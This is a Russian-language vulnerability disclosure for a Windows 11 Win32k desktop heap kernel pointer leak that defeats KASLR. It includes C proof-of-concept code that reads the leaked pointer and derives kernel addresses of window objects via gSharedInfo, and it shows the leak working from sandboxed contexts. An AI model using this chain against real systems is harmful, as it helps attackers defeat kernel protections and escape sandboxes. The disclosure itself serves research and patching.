CVE-2026-50416: обход KASLR в Windows 11
В Windows 11 Insider сборке 10.0.28020.2149 пользовательское отображение Win32k desktop heap раскрывало необработанный указатель на пул ядра сессии по смещению 0x100.
Само чтение почти оскорбительно мало:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
В моей тестовой сессии это вернуло:
0xffffc600dcc00040
Значение оставалось одинаковым для всех процессов на одном рабочем столе и менялось после перезагрузки. Процесс, запущенный на другом рабочем столе, получал другое значение, поскольку у него был другой desktop heap. Из этого одного QWORD PoC восстановил базовый адрес kernel desktop heap, а затем использовал user32!gSharedInfo для получения адресов ядра живых объектов окон.
То же чтение работало из Low integrity, AppContainer, конфигурации LPAC с нулевыми возможностями и дочернего процесса Low integrity AppContainer с нулевыми возможностями.
Desktop heap должен быть общим. Указатель на ядро — нет.
Win32k хранит объекты USER, такие как окна, меню, классы, хуки и связанные метаданные, в desktop heap. Каждый рабочий стол имеет свою собственную кучу. Часть этой кучи отображается в процессы, связанные с рабочим столом, чтобы пользовательский режим мог читать общее состояние GUI без запроса каждого поля у ядра.
В протестированной x64 сборке к отображению пользовательского режима можно получить доступ через клиентские данные текущего потока TEB:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Смещения зависят от сборки, но маршрут прост:
GS:[0x30]
-> TEB
-> ClientInfo по адресу TEB + 0x800
-> ClientInfo[5]
-> отображение desktop heap в пользовательском режиме
PoC вызывает VirtualQuery для возвращённого адреса и записывает отображённую область и её защиту. Пока ничего не пошло не так. Отображение desktop heap только для чтения — это нормальное поведение Win32k.
Проблема начинается через 256 байт.
Основной PoC читает одно QWORD из отображённой кучи:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Значение прошло базовые проверки, ожидаемые для адреса виртуальной памяти ядра на тестируемой системе:
Тест стабильности создаёт окна STATIC, BUTTON и EDIT, читает значение до создания, читает его снова, пока окна существуют, уничтожает их и читает в третий раз.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
Все три чтения вернули одно и то же значение. Активность выделения окон не сдвинула его. Такое поведение согласуется с полем в метаданных desktop heap, а не с указателем на недолговечный объект.
Свойство межпроцессности не менее важно. Два процесса, прикреплённые к одному рабочему столу, наблюдают одно и то же утёкшее значение, потому что они смотрят на один и тот же desktop heap. После перезагрузки KASLR даёт сессии новый адрес. Дочерний процесс, помещённый на другой рабочий стол, наблюдает другой указатель, потому что этот рабочий стол владеет другой кучей.
Это придаёт утечке полезную идентичность:
та же загрузка + тот же рабочий стол -> тот же указатель
та же загрузка + другой рабочий стол -> другой указатель
новая загрузка -> другой указатель
В протестированной сборке утёкший указатель находится на 0x40 байт выше базового адреса kernel desktop heap, используемого PoC:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
Используя записанное значение сессии:
утёкший указатель = 0xffffc600dcc00040
базовый адрес kernel desktop heap = 0xffffc600dcc00000
Эта взаимосвязь зависит от сборки. Для сборки, использованной во время тестирования, она даёт якорь на стороне ядра, необходимый для следующего шага.
Один указатель уже полезен. Адрес выбранного объекта гораздо полезнее.
user32.dll экспортирует gSharedInfo, который раскрывает список записей дескрипторов USER и размер каждой записи:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
HWND содержит индекс в таблице дескрипторов USER. PoC берёт младшие 16 бит дескриптора, переходит к соответствующей записи и читает хранящееся там смещение desktop heap.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
То же смещение называет объект в обоих отображениях:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
Итак, полный расчёт:
базовый адрес kernel desktop heap = desktop_heap[0x100] - 0x40
индекс дескриптора = HWND & 0xffff
смещение в куче = aheList[индекс дескриптора].offset
адрес окна в ядре = базовый адрес kernel desktop heap + смещение в куче
PoC создаёт шесть классов окон и выполняет расчёт для каждого из них:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXДля каждого объекта он выводит HWND, индекс дескриптора, адрес объекта в пользовательском режиме, смещение в куче и адрес в ядре.
HWND
-> младший 16-битный индекс дескриптора
-> запись дескриптора gSharedInfo
-> смещение в desktop heap
-> базовый адрес kernel desktop heap + смещение
-> адрес этого объекта окна в ядре
Это та часть, которая превращает раскрытие из свободного указателя ядра в оракул адресов для выбранных объектов USER в тестируемом desktop heap.
Desktop heap поступает через общее отображение. Уровни целостности и ограничения AppContainer не переписывают содержимое этого отображения для каждого процесса. Если процесс получает desktop heap, он получает и QWORD по адресу 0x100.
PoC песочницы запускает дочерние процессы в нескольких контекстах и заставляет каждый дочерний процесс читать значение из собственного TEB и собственного отображения desktop heap.
| Контекст | Конфигурация | Результат |
|---|---|---|
| Medium integrity | Стандартный пользовательский процесс | Утечка |
| Low integrity | Целостность токена понижена до Low | Утечка |
| AppContainer | Ноль запрошенных возможностей | Утечка |
| Конфигурация LPAC | Политика отказа для всех пакетов приложений, ноль запрошенных возможностей | Утечка |
| Low integrity AppContainer | Low IL плюс AppContainer, ноль запрошенных возможностей | Утечка |
| Альтернативный рабочий стол | Дочерний процесс назначен на новый рабочий стол | Утечка другого значения |